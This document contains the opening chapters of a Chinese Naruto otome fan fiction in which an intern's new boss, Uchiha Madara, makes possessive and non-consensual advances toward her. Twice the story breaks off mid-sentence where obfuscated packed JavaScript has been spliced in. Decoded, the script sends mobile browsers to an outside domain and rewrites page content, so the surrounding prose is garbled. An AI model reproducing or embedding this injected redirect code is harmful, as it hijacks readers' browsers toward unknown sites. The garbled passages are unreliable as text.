《[火影乙女]我的百分百被一见钟情Buff原来是对宇智波特攻吗?!》 1. 第 1 章 01、白月光回国谁去接 商店街促销抽奖活动,购买两份打折便当就能附赠一张抽奖券,最高等级的奖项是免费一周的三色团子。 我拎着塑料袋坐在便食屋外的座椅,忍不住怀着“有点想吃一周的免费三色团子!”的轻浮心情,有些紧张和期待地打开粗制滥造的抽奖券,只见上面写着—— 特别奖: 【百分百被一见钟情】 像古早街机游戏拾取道具之后出现的画面那样,用蜡笔画了十分拙劣的闪光特效。文字也是小孩子的笔迹,还有涂改的痕迹。 根本就是便食屋老板那个还在念幼稚园的小孩的杰作。 我的紧张和期待完全被浪费掉了,可恶啊! 什么嘛……这种小孩子过家家一样的把戏。我随便把抽奖券丢到垃圾桶,埋头吃起打折的咖喱便当。完全没把这件事放在心上。 我很快吃掉便当,把垃圾收拾好丢到便食屋外的垃圾桶。玻璃瓶装的汽水喝完以后要去店里的机器那里回收,我走进店里,发现了正要来便食屋吃拉面的鸣人。 鸣人和我都是附近木叶大学的学生,临近毕业季,我和他都在为实习工作发愁。 “哇鸣人,晚上好!”在这里遇到朋友有种意料之外的惊喜,我笑着打招呼,“在等拉面吗?” “嗯!是豚骨拉面!”鸣人用力点头,一只手拿着筷子一只手拿着汤勺,像等待老师发便当的小孩子那样认认真真坐在桌子前严阵以待,对我笑起来的时候蓝眼睛闪闪发光,背后莫名其妙出现了九条不存在的尾巴摇来摇去。 ……真是可爱!很想摸摸他金色的蓬松发丝。 这种觉得自己朋友超可爱想摸头的心理活动真是太失礼了,所以我从来不会告诉鸣人。 热气腾腾的豚骨拉面很快就端了上来,汤汁雪白浓厚,汤面上漂浮着被打碎的猪背脂,大块的叉烧还有豆芽、玉米粒堆得满满的。面条爽滑筋道,裹满浓郁汤汁,咬断时有种微微的弹牙感。光是注视着就能感到鲜美浓郁的豚骨汤汁融化在口腔里的粘黏感。 看起来好好吃……我羡慕的眼神粘在热气腾腾的拉面上,刚刚只吃了味道乏善可陈的打折咖喱便当,摆放了一整天的米饭又黏又软烂,炖煮过头的土豆块尝起来像黏糊糊的鼻涕。要问为什么的话,因为我是实习期的廉价可怜牛马兼论文地狱期的窝囊大学生,是这个世间最悲惨的两重身份的叠加。没有经济自主权。 言简意赅的说法就是——我的口袋里没有一分钱! 我把一瓶橘子汽水放在桌子上,在鸣人的对面坐了下来。冰镇过的汽水瓶上很快攒聚着细小的水珠,滚落下来。夏天的夜晚来上一瓶冰镇汽水绝对是最高享受吧! “唔?”鸣人一口气将拉面吸进肚子里,疑惑地看着我。他的腮帮子鼓鼓的,一动一动地认真咀嚼。 “我请鸣人喝噢!” 集满十个玻璃瓶的积分就可以兑换一瓶汽水,刚刚回收的那瓶正好是第十瓶。 鸣人把拉面吞下去:“那你呢?” “我刚刚喝过了!”我说。 这家便食屋的商品价格低廉,分量充足,口味也不错,是附近不少大学生的首选。我很快就看到不少学生们走进来吃饭或者购买便当。 “呜哇太感谢了——”那双蓝眼睛很快就亮起来,然后幸福地眯起来,像得到什么宝物似的隔着桌子用力抱了我一下,热情地道谢,“我正好觉得吃拉面太热了想喝汽水呢!你绝对超懂我的!” 有些学生听到动静看过来,发现原来是漩涡鸣人,又见怪不怪地回过头继续和同伴们交谈了。鸣人很容易因为一些小事感动并且掏心掏肺把对方当作一生的好朋友。 在开学的时候,我只是问了看起来有点迷路的鸣人要不要帮忙,就被对方当作一生的挚友了。 “不我说你不觉得这家伙感情太沉重了吗?”其他的朋友这么吐槽,“只是主动搭话了一句就说要做你一生的挚友,好恐怖!!” “因为我帮助了鸣人?”我说,“没有人理他,他在角落里看着大家,看起来好可怜……” “原来是一个愿打一个愿挨算了算了。”朋友很快就走掉了,好像不打算管我了。 什么嘛…… 鸣人超级快速地干掉了堆得冒尖的大碗拉面,这个年纪的男生的饭量有时候会把我吓到。他咕嘟咕嘟咬着吸管喝着橘子汽水和我聊起天。 脸颊上那个像狐狸胡子一样的胎记也随着喝汽水的动作动来动去。 空气里有食物的香气、橘子汽水的气泡还有用餐的学生们叽叽喳喳的交谈声。 “鸣人有找到实习吗?”我问。 “啊那个,不知道为什么发出去的求职邮件都没有收到回复,”鸣人挠了挠头,坦率地说,“我问了爸爸,爸爸说我可以去火影楼帮忙!” 原来是可恶的权贵阶级! 鸣人的父亲波风水门是木叶大学第四代校长,鸣人可以去教务系统帮父亲打杂。 “你要一起来吗?”鸣人喊了我的名字,笑嘻嘻地说,“有你在的话我绝对会超有干劲地工作的!” “实习邮件为什么会没有回复?”我有些好奇。就算有个别公司会放置,但是广撒网的话,总有会回复的公司啊。 鸣人说他也不知道,但母亲玖辛奈看过他自己做的简历以后露出超可怕的笑眯眯表情把他揍了一顿。我看了下鸣人的邮件内容,的确看起来有点不太靠谱,什么人会把“擅长色诱术和后宫术”写在简历上。但是没收到回复的根本原因应该是—— “鸣人,你把收信人和发信人弄反了啦……” “唉??”他超级惊讶地大叫起来,不敢相信地看了好几遍手机,整个人变得蔫头耷脑的,沮丧地把下巴搁在桌子上,“怎么会这样!有好几家游戏公司我都很想去!!” “鸣人,”我提醒道,“去游戏公司不代表可以整天打游戏噢。” “唉?!”鸣人露出世界观被重塑的震惊表情,大叫道,“不会吧?!” 就知道这家伙只是想打游戏啊! “看来还是只能去帮爸爸的忙了……”鸣人失落地说,眼巴巴看着我,“你也来吧!小樱和鹿丸都不来,只有我一个人好无聊……” 简直就像被雨淋湿的小狐狸一样。 话说这家伙把实习工作当成什么啊!交朋友游戏吗?! “不行哦,鸣人,”我狠下心拒绝道,“我已经找到实习公司了。” 报出名字来能把人吓一跳,当初发邮件过去也根本没报什么会被回复的期望,没想到却意外收到了面试通知。 宇智波集团在最初只是家族企业,现在已经成为时下首屈一指的科技新贵。即将上线的月之眼企划更是采用了最前沿的科技,将给用户带来全新的人生。 能够在这样的公司实习简直就像做梦一样,让我的简历变得金光闪闪。 当然啦,再高大上的公司都需要有做杂事的跑腿牛马。我看了下时间,再有十个小时我就要去机场接人。 机场离市中心有一段距离,今晚肯定没办法在宿舍睡觉了。考虑到荷包的干瘪程度,我计划先把车开到机场,然后在车里稍微休息几个小时,等到天亮再去机场接人。 至于洗漱,当然是自带牙具,便利地使用机场的卫生间解决。 鸣人有些垂头丧气,十分郁闷:“呜呜呜……” 汽水喝完了,鸣人拿过去兑换积分,等他回来的时候,隔壁桌的隔壁桌,一对女生发出有些惊喜的叫声,吸引了很多人的注意力。我看过去,原来是她们的抽奖券开到了超级大奖:一星期份的三色团子。 店里的学生们发出友善的起哄声,店老板也很有氛围感的拿出礼花炮“嘭嘭”拉开,在飘舞的彩带中把一周份的兑换券交到那两个幸运的女生手里。学生们莫名其妙开始嚎叫和欢呼,我也和其他人一起激动地鼓掌。 ——咔嚓。 老板还在上幼稚园的孩子笨拙地按着拍立得快门,等到鸣人回来的时候,“颁奖现场”的拍立得已经被用磁力贴贴在了便食屋的墙壁上,和其他具有纪念意义的拍立得一起。看起来让人心里暖洋洋的,血液莫名其妙有些沸腾。 鸣人回来以后疑惑地问我怎么了。 我把事情告诉他。 “她们的运气好棒噢!”鸣人说,“真厉害!” “是呢!”我说,“我也拿到了抽奖券,但是没有抽到三色团子……” 我顿了顿。 “说起来,那个……”我想起什么。 “嗯嗯?”鸣人说。鸣人和人说话的时候,总是专注地看着对方,蓝眼睛明亮又认真。 我有些紧张地舔了舔嘴唇,心脏怦怦跳。 “鸣人觉得今天的我有什么不一样吗?对我有什么特别的感觉吗?” “唔……”鸣人摸着下巴绕着我转了一圈,从鞋子打量到发饰,很少有人会这样仔细观察我,我被他看得有些不自在,忍不住有些害羞。 “换新口红了?新发型?新发饰?新裙子?”他不确定地说,超敷衍地称赞,“你今天超美的,木叶大学第一美人!!” “鸣人是笨蛋!”我不高兴地用筷子敲鸣人的脑袋。 “什么嘛!”鸣人不服气地捂着额头大叫,“我每次这样说小樱都很高兴,为什么你不一样!” 因为我根本没有换新口红,也没有买新发饰和新裙子! 鸣人君是大笨蛋!! 真是的,我不太高兴地坐在椅子上。 这家伙这辈子交不到女朋友了啦!! 我真是想太多了,那个开玩笑一样的抽奖券怎么可能会是真的。在鸣人眼里,我还是和过去一样嘛,鸣人并没有对我“一见钟情”什么的。 我松了口气。在鸣人完全没效果的吹捧声中勉为其难点了点头,鸣人晚上要回学校,我要去机场。我和鸣人在停车场告别,我开着车按照计划来到机场。 车是公司里的,豪华又舒适,后座还能放平。我蜷缩着好不容易找了个能勉强睡着的姿势,躺下去准备睡到第二天接机。 宇智波集团现任执行官叫作宇智波带土,我没有见过他,但是公司里的人最喜欢说高层的八卦。我在茶水间摸鱼偷偷听到不少。 听说现在的执行官宇智波带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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搞什么,好夸张。是什么明星吗? 那个看起来超帅超吸睛的家伙走到我面前,看了眼接机牌,又拉下墨镜看了我一眼,冷冷道:“走了。” “唉?” 是我的错觉吗? 刚刚有一瞬间,他的眼睛是不是变成猩红色了? 我接过他的行李箱,一边咕噜咕噜推着箱子跟在他身后。一边心里翻起惊涛骇浪:搞什么这家伙就是宇智波斑吗?! 不对吧!公司里的前辈不是说他能喷火还可以变影分身的吗?! 我打量了又打量,身上的衣服当然是我完全认不出来的超级高档货,背影帅得随便拍都可以直接上杂志,随随便便抬起腿迈过台阶的样子也帅得不行。但是没有三个脑袋也没有六个手臂,更不会喷火和变影分身。这不就是普通的正常男人……不知道为什么心里有些微的失望。 走到停车场,宇智波斑已经把墨镜摘下来了。露出一双漆黑的眼睛——果然刚刚是我看错了吧? 宇智波斑的头发很长也很蓬松,看起来像学校里的一只黑色长毛猫,学生们都把那只傲慢不给摸的猫咪叫做小斑。 我有个小秘密,那就是偷偷给小斑吃豆皮寿司,就可以趁其不备摸小斑毛茸茸的耳朵。 等这次实习回去,就给小斑带豆皮寿司吧…… 大概是在开小差的缘故,踩到了地上的石子,我踉跄了一下。弧度很小,不用人扶就能自己站稳那种,但是不知道为什么,好奇怪,宇智波斑拉着我的胳膊,他的力气太大,我反而越来越重心偏移,啪叽一下就砸到了他怀里。 当我要起身道谢的时候,更莫名其妙的事情发生了——斑抓着我并没有放我离开。 “斑先生?” 他完全,把我整个人抱在怀里了。 手臂勒得我的腰好痛。 越收越紧,越来越用力。 在他在我的脖子里嗅来嗅去的时候,我更是惊恐地瞪大眼睛拼命缩起脖子。 温热的鼻息在脖颈之处掠过,因为今天要给上司接机,我穿了职场套装,白衬衫的领口扣子开到锁骨。 有点温热的,柔软的,仿佛是男人嘴唇般的东西擦过隆起的锁骨。 是被舌头舔了一下吗?那个颈动脉附近薄薄的肌肤传来的湿软触感。 呼吸热烫而急促,手指顺着凹陷的脊窝抚摸与摩擦。他仿佛发热了似的,气息滚烫,每一寸相贴的肌肤都在燃烧,隔着薄薄的布料紧紧抓着我,我不得不跌跌撞撞往后退,男人寸步不让,步步入侵,我一直被掐着腰跌在了车前盖上。脊背紧紧贴着冰凉的钢铁。 而他触碰的手指如此滚烫渴望,喉结上下滚动。 无论怎么看,压在我身上的男人,那双眼睛现在都是猩红色的,还有十分诡异的黑色勾玉。 好可怕。 ……非人的异类感。 等等等等!!!这不对劲吧?!现在这是怎么回事?! “斑、斑先生?”我不太确定地说,“我送您去公司?” 宽大冷感的手掌在薄软、紧张起伏的小腹游弋与丈量,他在平静地评价与判断着什么。 宇智波斑看着他的手掌与我的身体的尺寸对比,眯起眼睛,意味不明地慢慢地笑了一下。 我有些不安起来。 “要孕育我的子嗣,这里还是太可怜了一些。”斑高高在上地说,宛如恩赐,“安心吧,我会养育你的。” 他在说什么东西??!! 2. 第 2 章 02、 我的顶头上司……好像是个奇怪的家伙! 宇智波斑坐在后座,我在前面开车,透过后视镜偷偷看他。 黑色的、宛如夜幕般深邃、似乎能夺走人意志的虹膜。 ——咿! 对视上了! 像被什么危险又非人的可怕生物注视着。 我立刻把视线转回,身后却响起了低沉地、被取悦了似的轻笑声。胸腔共鸣震动。布料摩擦的轻微声响,大概是交换了双腿交叠的姿势,撑着下颌盯着我的后脑勺,慢悠悠地笑了下。 这家伙怎么回事……大公司的担当人不应该很忙吗,就连通勤路上都要分秒必争拿出笔记本电脑开国际会议,严肃地发言和否决提案,还会同时讲八门外语——电视剧里的职场精英都这么演——抱歉我对公司高层的生活日常的理解程度就到这里了! 为什么宇智波斑不在工作而是盯着我看? 我的后脑勺有那么好看吗? 我记得因为昨晚在车后座睡的缘故,头发被压翘起来了。今天凌晨在机场卫生间生死时速整理仪表的时候,我拼命把翘起来的头发往下压,但是都失败了。还好在我着急到想要干脆把那缕翘起来的头发剪掉的时候,有路过的好心漂亮姐姐借了我发夹。 发夹闻起来香香的,有金□□亮姐姐身上的好闻香气。那个姐姐说她的名字叫做纲手,这次是来回国探亲的。 她非常擅长打扮,衣品也很好,性格爽朗豪迈,浑身上下都充满着成熟女人的韵味。很快就用发夹解决了我的难题,还借了我看起来很贵的面膜用。 如果没有温柔的纲手姐姐的话,我就只能顶着到处乱翘的头发和深深的黑眼圈给宇智波斑接机了。 不过大概是我的发质太顽固了,即使用发蜡抹过,在接机的时候人挤人的摩损刮擦下,现在顽强地在我脑袋上翘起来了几缕。 从后视镜来看,我现在的样子和职场精英的关系性是0,看起来完全就是头发乱翘毛毛躁躁乱七八糟的职场笨蛋。 为什么要盯着这种状态的我看啊,我翘起来的头发有那么有趣吗? 偏偏还是顶头上司。 ……呜呜。 真丢脸。 我把身体尽量压扁,减少被凝视的表面积,蜷缩在座椅里,专心致志地看着前方的路况。 ——根本做不到! 背后的视线强烈到根本没办法忽视。像是无形的大手,从发顶露骨地一路抚摸至脖颈,手指插入发丝中,一直没入到指根,松软的发丝陷入在指缝间。拇指隔着皮肉摩擦并挤压着脆弱的颈骨。衣物仿佛被划开,滚烫的气流钻进来熨帖着皮肉。男人的手指紧贴着肌肤,顺着连接的脊柱缓缓往下滑动,握住肩胛。 指腹陷入柔软的肉脂之中,继而攥住急速跳动的心脏。 脊背猛地窜过恐惧的电流,被黏着强烈的视线触碰到的地方噼里啪啦点燃着电火花,战栗和麻痹感令肌肤紧绷。 空气中焦灼着奇异又晦暗的粒子。温度在上升,连呼吸都变得灼热。 只是被这样从背后注视着,狭窄的车厢内就响起我越来越急促的呼吸声。 心跳砰砰响。 汗水从鼻尖渗出。 明明只是被注视,却仿佛被慢条斯理地渗入、侵蚀与控制。 沾染上的气味和印记鲜明而强烈,无法摆脱。 “这是什么?” 就在我紧张到要过呼吸之前,斑忽然出声了。 我透过后视镜看过去,差点把车开到高速护栏。 我出了一身冷汗,结结巴巴说:“那个、那个是我的,斑先生,对不起!!” 宇智波斑的手里捏着几根头发丝。 一定是昨天睡在后座的时候,不小心落下的! 我支支吾吾地解释了一番,声音越来越低,脸颊变得滚烫。 虽然这种行为算不上违规,但是睡在公司的公用车里,传出去多少有些不好听。我还并不是正式会社员,搞不好会对我的履历造成影响。 宇智波斑沉吟了片刻:“你没有订机场附近的酒店?” “那个……”我小声说,有些不好意思,“稍微有点贵……” 也并不是负担不起,但是能节约的地方还是委屈自己就好了。 男人的手指慢慢在大腿腿面敲了敲,他平静地问道:“你的直属部门主管是谁?” 我小声报了个名字。 那是个很难应付、有着啤酒肚的凶巴巴的已婚中年男人,给宇智波斑接机这种事本应该全流程由公司负责,酒店的费用也可以给公司报销,但是自从实习第一天,他忽然靠过来油腻腻地在我耳朵旁边吹气,有着又长又黑手毛的手掌按在我的手背上,被我推开以后,我在公司里的生活就变得水深火热起来。 商务报销是根本不用去想的事,百分百会在主管那里被卡住。 这次能够借到公司的车子,而不是我自己花钱去租车,也是多亏了这段时间和公司安保部门的一位前辈的关系。 宇智波斑点了点头,没说话。 “我会处理的。”过了半晌,他说。淡淡地抿着唇,黑色的眼睛深处闪过锋利而冰冷的光。 我不明白他是什么意思。吐槽上司是职场大忌这种事我还是知道的。全程我只说了两句话……啊,难道是通过我说出主管的名字时,呼吸和心跳的变化,猜到了原委? 这家伙真的敏锐到有点可怕的程度了。 什么人会专注地去听我的呼吸和心跳声……好恐怖……胃部有点痛苦,好像被什么沉重的东西压住了。 深呼吸,深呼吸。 一定是我想太多了。 哈哈,宇智波斑只是普通的大魔王而已,才不会是什么奇怪的变态! 呜哇难道我误入了现任执行官宇智波带土和自己的叔叔宇智波斑的职场权力争夺之战,成为其中关键性的证据? 【“带土,我找到了你的马脚!你的手下对实习生职场骚扰!!现在立刻把执行官的位置让给我!” “什、什么!!咕呜!”脸上戴着马赛克面板的带土(因为我没有见过宇智波带土)吐出一口血,忽然倒在地上,不甘心地大吼道,“可恶!!斑!这一次输你一头,但我不会把公司让给你的!” “哈哈哈。手下败将,不足为惧!想要赢我你再等一百年吧!你只不过是我的棋子罢了!”宇智波斑大魔王傲慢地大笑起来。】 我的思路又歪到茶水间的前辈们跌宕起伏的职场戏码了。 余光看到后视镜里的宇智波斑,十分自然地、从容不迫地把那几根我掉落的头发丝放进了衣服口袋里。 我:? ??? 等等!不对吧!我差点把方向盘打歪,他留着我的头发要干什么?!一瞬间想到了这样那样奇怪的用法。胃部皱在一起,难吃的红豆馅在其中翻滚着,好像有大手把我的胃拧在一起,有点沉重的痛苦。 注意到我的惊惧不安,斑轻描淡写地解释道:“我承诺过,在你成长到足以接纳我之前,你将在我的羽翼下成长。保护你也是养育的一部分。”他盯着我,慢慢道,“虽然知道现在还不是摘取果实的时候,不过我讨厌忍耐。” 他讲话好难懂。 感觉有年龄代沟。 我提心吊胆起来。 更糟糕的是,他还发现了我放在副驾驶座的背包。 我急急忙忙打着方向盘:“那个!斑先生!那是我的东西……请不要——” 但是就像对随地大小睡的猫咪小斑说不要睡在自习室,小斑会睡得更起劲一样,宇智波斑仿佛没听见似的,把我的背包拿过去打开了。 那里面都是一些乱七八糟的日用品,还有换下来的昨天的衣物。根本没什么好看的。 因此最初的紧张过去之后,我就安心地重新坐了回去,靠着座椅以安全的车速开车。 我这个阶层也接触不到公司商业机密,不会有职场电视剧里那种“重要标书被实习生偷走,实习生锒铛入狱!”的劲爆剧情。 我透过后视镜注意到斑看着被打开的背包顿了下,接着抬起头深深看了我一眼,慢慢笑了一下。 “啊,你还记得要献上礼物取悦我,”斑高高在上地夸赞道,漫不经心,“会讨要主人喜欢的,贪婪笨拙的小东西。” 他在讲什么?? 听起来不太妙。 我的心跳又加速起来。 为什么这个男人做什么都这么让我紧张? 漫不经心笑起来的样子像是黑暗里闪过刀锋的流光,又锋利神秘又具有强烈的侵略感。似乎随时都能斩下挡在他面前的人的头颅。 然后斑就这样自然而然地、理所应当地,随意地将那件摆在最上面的,换下来的裙子抽出来,看着后视镜里我瞪得越来越大的眼睛,当着我的面,很变态地埋进去闻了。 咿!!!! 为什么……那个是、是换下来的衣服!为什么要表现得那种东西很美味很好吃的样子?! 越来越急促的喘息声。 黏湿而不祥的唾液 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993384|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吞咽声。 忍耐又压抑的潮热、湿润。空气里有什么在紧绷。 肌肤微微发麻,仿佛有电流窜过。 黑色的眼睛带着某种露骨的想法看了过来。 ……完全是确信犯。 冷汗……冷汗流了出来。 无形的黏稠的冰冷物质拉拽着我的手脚。胃部扭结成小小的一团。 强烈的第六感提醒着我黑暗的危机,仿佛再待下去就会直接被这个人在车子里用衣服堵着嘴抓着手腕侵犯。 似乎有什么开关被打开,浅尝辄止之后,潘多拉的魔匣正在引诱着男人更加深入。 罪恶的甜蜜,甘美的堕落。 湿热而黏着的目光。 颤动的喉结。 绷紧到凸起指骨的冷色性感手掌。 侵略性极强的味道包裹过来……无法呼吸。 他在忍耐着什么。 虹膜的边缘隐隐泛着红色。 我一脚踩下油门,疯狂超车,在贞操被夺走之前总算把车开到公司地下停车场,接着逃命一般地跑走了。 直到我回到学校还心有余悸。去便利店买了豆皮寿司去喂小斑。 只有毛茸茸才能治愈我今天受到的精神创伤。 小斑通常喜欢睡在最松软茂盛的那片草丛里,像一个君主一样。 我本想用豆皮寿司把小斑引出来,但在我走到草丛之前,就已经有一只毛茸茸的黑猫从茂盛的灌木中迅速窜了出来,炮弹似的弹射到我的脚边,十分谄媚地绕着我打圈。对我非常亲昵,似乎很喜欢我的样子。 “唉?” 一只眼睛做了手术被摘掉,粘着我的这只黑色炸毛猫也是学校里的明星小猫,学生们都叫它御美都。 我拿着豆皮寿司在那里发呆。只听见几声凶巴巴的“喵呜”,又有一只黑猫钻出来,咬着先前那只黑猫的脖子把猫丢了出去,傲慢地坐在地上,用尾巴圈住我,君主般舔了舔爪子,自己一只猫霸占了我的小腿——是、是小斑?! 御美都开始和小斑打架起来,我还没来得及拉架,莫名其妙又从草丛里钻出两只黑猫——怎么回事,学校的草丛里会长小猫咪吗?! 新钻出来的两只黑猫听说是一个窝里的双胞胎兄弟,也对我非常有好感的样子。趁着小斑和御美都打架的时候,围着我撒娇转圈,很甜地喵喵叫。 我的心立刻就变得软绵绵的,融化掉了。把豆皮寿司掰开喂这两只小黑猫。 然后小斑就对我发出“出轨!”“负心汉!”的谴责喵喵声。 咦?天降好运……!忽然被一群黑猫缠上了!! 爪子和肉垫拼命抱着手臂和小腿,不停把其他围过来的小猫推开乃至拳打脚踢。带刺的猫舌头噗噜噗噜舔着我的掌心。发出的喵呜声都甜得可以滴蜜。 被、被猫喜欢了! 猫咪在、在媚人! 这里是毛茸茸天国吗……就在我蹲在草丛旁边,被一群黑猫包围着幸福得晕乎乎的时候,收到了鸣人的来电。 他邀请我参加今晚的烤肉聚会。说是鹿丸、小樱、井野、宁次他们都会去。 都是认识的朋友。 “啊那我也要去!!” 我立刻说:“很久都没和大家聚会聊天了!” 因为最近大家都在实习的缘故,和朋友们聚少离多,难得的机会不能错过。 “不过……” “不过?” 头发的沙沙声,鸣人大概在那头挠了挠脑袋,说:“我和小樱的朋友也会来。” “鸣人和小樱的朋友?”我好奇道。 原来鸣人小樱和这个叫宇智波佐助的家伙在大学之前都是一个班的朋友,说是青梅竹马也不为过,感情相当要好。 但是佐助在高中时因为和家里兄长闹了矛盾,大学去了很远的地方,跟着一个叫大蛇丸的人修行。 这次也是修行结束,被鸣人拉着过来聚会。 鹿丸他们也都认识佐助。 聚会里只有我对佐助是陌生的,这或许会让我觉得自己被他们排挤了。鸣人担心这点,所以对我说明了。 鸣人这家伙虽然看起来大大咧咧,其实心思意外得纤细敏感。 不过既然这个叫佐助的家伙是鸣人的朋友,小樱和鹿丸宁次他们也都是很好的人。大概佐助也是这样温柔又善良、体贴他人的人吧。 想到这里,我一口答应了鸣人,问好了时间地点。就去学校附近租的公寓里换了衣服,准备时间一到,就到商店街的烤肉店去了。 3. 第 3 章 03、 没想到临出门前却下了雨,我在屋子里找出雨伞,推开门却发现屋外摆着一叠垒起来的快递纸箱。 箱子体积很大,占了大半个过道,叠放起来的高度一直到我的胸口。试着搬了下,似乎是重物,完全搬不动。我不得不侧着身子才能从留下的狭小过道内走出去。 打电话给宅配员询问,对方问清楚情况后连连道歉。说是自己刚被分配到这片区域,还不太熟悉,将货物送错了地方。 我挂了电话查看面单,这些快递似乎都是一个叫作“鼬先生”的人的。 上面写着的地址是这附近不远的住宅,和我租住的地方名字很像,门牌号也几乎一致。难怪会被搞错。 这么多货物堆在我家门口,出入多少有些不方便,而且也会影响到同住一楼的住户。 再度询问了宅配员,对方说他明天才有空过来搬走。如果是贵重物品,搞不好会被偷掉啊……这个宅配员真是不靠谱。我有些不太高兴。 安全起见,我按照面单上收件人的联络方式打了电话过去,但一直没有人接听,或许对方现在在忙吧。 于是我编辑了短信,礼貌地说明了情况,请这位鼬先生有空时联系我,商讨如何处理这几箱被误送的快递。 解决完突发情况,我按照计划来到商店街。这里离我租住的公寓很近,步行十多分钟就到了。 我来得有些迟,烤肉店里已经有不少人了。当我急急忙忙将伞收起来的时候,在我的对面,出现了一位黑发男子。 他穿着高领中袖白衬衣,领口开得很低,露出漂亮的胸肌形状,肌肉线条结实的小臂上佩戴着黑色的护腕,有些长的黑发垂至脖颈,或许是发质偏硬,发型有点炸炸的。打扮得像个潮流酷哥。 虽然神色冷冰冰的,给人十分不好相处的第一印象。但五官相当昳丽。周身上下萦绕着的、冷漠淡薄的、拒人于千里之外的气质,或许是这种被造物主宠爱的帅哥的特权吧。 但让我注意到他的并不是他的容貌,而是我方才将伞收起来时,伞面上飞溅的雨水,弄到了这位青年身上。 也不知道他是什么时候出现的,我刚才根本没有察觉到有人跟在我的身后。 他简直就像猫科动物一样安静,能将自身的存在感消除。 “啊啊真抱歉!!是我不小心!您没事吧?有溅到眼睛吗?”我尴尬到不行,连忙道歉,从随身携带的包里翻出纸巾,磕磕绊绊地想要为他擦拭干净,“我帮您擦干净!” 那双没有任何波澜的淡漠黑瞳,似乎从我发现他时起,就一直注视着我。他似乎有些发怔,在我的手即将碰到他身上沾湿的雨珠的前一秒,他才猛地出手,握住我的手腕。 我吓了一跳,不知所措。 他的力气大得有点吓人,手指用力掐着我的手腕,嗓音冰冷警惕,态度强烈,充满危险的警告:“不要碰我!!” 他看起来很凶。 心里咯噔一下,我有些害怕地抽了一下手臂,并没有抽动。他瞪着我,手很稳地掐着我,用力到拇指都陷入肉脂之中,大概要留下淤青。 相较于我笨拙地弥补错误的举动,他对我主动靠近他,手指即将碰到他的反应强烈得有些夸张。 ……是有什么洁癖吗?讨厌被人碰到? “抱歉,我真的不是故意的。”我的声音因没有底气而十分低弱,莫名其妙的内疚和不知所措令我无所适从,另一只手的手指不安地蜷曲又伸直,最后紧紧抓着有些湿润的伞柄,局促地抠着伞柄上的装饰物,“我可以做些什么来弥补吗?” “……”他冷冷地眯起眼睛。 他就像甩开什么脏东西一样,强忍着不适蹙起眉,冷冷地把我的手甩开,表情不耐。 宛如我是什么令他唯恐避之不及的洪水猛兽。 连触碰我一秒钟都仿佛要忍受莫大的痛苦。 他动作太过激烈,我踉跄了一下,差点摔倒。 我扶着墙壁抬起头。 空气里是雨天特有的雨腥味、泥土和青草的气息。 屋檐外飞溅的雨珠,湿润的水汽,雨声混合着行人谈天说地的说话声。 一滴水珠顺着他形状姣好的脸颊往下滚落,在下颌攒聚着,轻颤,滴落下来,沾湿了领口。 我握着纸巾站稳,有些不知所措地看着他。 他很冷淡地甩开我,眼神很轻很淡漠地从我的头顶扫过去,没有停留一秒钟,仿佛我是微不足道的尘埃。他就这样一言不发地自顾自走进烤肉店里。 叮铃铃。 风铃在摇晃。 我攥了攥掌心的纸巾,咬了咬嘴唇,冷风很快把我面上滚烫的温度吹凉下去。我将折叠伞放进伞袋里,背包收拾好。查看了鸣人发过来的消息,也走进去,找到了鸣人他们预订的包厢。 拉开包厢门前,我挤出笑容。 我来得有些迟,包厢里已经坐满了人,鸣人正和小樱他们聊得火热,见我来了,很热情地对我挥了挥手,动作幅度太大,差点打到了旁边的鹿丸。 兴奋中的鸣人对此一无所知,倒是鹿丸无奈地叹了口气,露出一副真麻烦的表情,往旁边挪了挪。 “我们刚刚在聊初代校长的事!”鸣人皱着脸诉苦说,“爸爸让我整理了一整天档案室的材料。不过我也因祸得福……”他的表情很快转悲为喜,蓝眼睛变得闪闪发光,兴奋道,“在资料里找到了很多建校初期的历史故事!嘿嘿嘿!” 这里坐着的学生们,十个中有九个都想做下一代火影——也就是木叶大学下一任学院长,因此对此很感兴趣。闻言我也坐下来,问道:“什么什么?”听鸣人夸夸其谈起来。 小樱恰好坐在我身边,帮我倒了大麦茶:“我们等你很久啦!”她说。 她今天穿了樱粉色的短袖裙子,短发用发带系起,显得干练又大方。整个人就如同春天里的花朵一样美丽轻盈。葱绿色的眼眸宛如宝石般闪闪发亮。 “没想到傍晚时候下了雨,担心滑倒,在路上我走得比较慢。”我说,整理了一下被雨打湿的发丝,握着茶杯喝了一口,滚烫的茶水驱散了寒意,我露出笑容,“谢啦小樱。” 她很爽快地对我笑着说:“人家想早点见到你嘛!啊说起来你今天的发型……”她看着我的脑袋,“是特别做的吗?好可爱!” 我和小樱有时候会聊打扮方面的话题,闻言摸了摸头发:“没有啊?” 不如说头发还是乱七八糟地翘着,回家之后我完全忘记要用发蜡再抹一遍了。 小樱伸出手,俏皮地拨了拨我脑袋上翘起的发丝:“什么嘛,”她撑着下颌,慵懒地笑着说,绿眼睛里嵌了蜜糖般的流光,“这不是就像猫耳朵一样,可爱到犯规了。就这样随随便便出现在人家眼前……真是的,有没有考虑到我的心脏的脆弱程度。”她叹了口气,责怪道,“如果我的心脏等下停跳,你要为我负责哦。” “欸?” “那个……” 旁边有很小声的怯懦声音,完全淹没在鸣人的夸夸其谈声中。 “说起来啊!”鸣人兴奋地说,脸颊上的猫胡子不停可爱地动来动去,“听说初代火影的孙女今天回国了!” 鹿丸很无奈地吐槽,躲得远远的:“鸣人,不要把夹肉的铁夹子拿在手里挥来挥去,你是手里不拿着东西就没办法说话的小学生吗?” 小李很捧场地搭腔道:“喔!是纲手老师?” “嗯!”鸣人很用力地点了几下脑袋,完全忽略掉了鹿丸的抱怨,“说是要回国探望弟弟。爸爸想让她到学校里也来一趟参观,如果能把纲手老师留下来教书就最好了!” 